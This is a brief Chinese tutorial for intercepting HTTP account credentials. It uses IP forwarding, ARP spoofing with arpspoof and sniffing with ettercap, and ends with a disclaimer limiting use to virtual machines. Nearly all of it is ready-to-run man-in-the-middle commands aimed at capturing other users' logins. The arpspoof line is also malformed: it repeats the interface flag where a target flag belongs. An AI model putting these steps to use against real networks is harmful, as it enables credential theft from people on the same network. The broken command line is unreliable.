使用 ettercap 截取 HTTP 账号密码：

1：先进行IP地址转发,可通过 cat 命令来查看；

命令：echo 1 > /proc/sys/net/ipv4/ip_forward

2：使用 arpspoof 进行ARP欺骗；

命令：arpspoof -i 网卡 -i 目标IP 网关

3：通过命令 ettercap -Tq -i eth0 来获取目标主机上网时输入的账号密码。

（警示：技术是把双刃剑，请于虚拟机中测试，切勿用于非法用途！）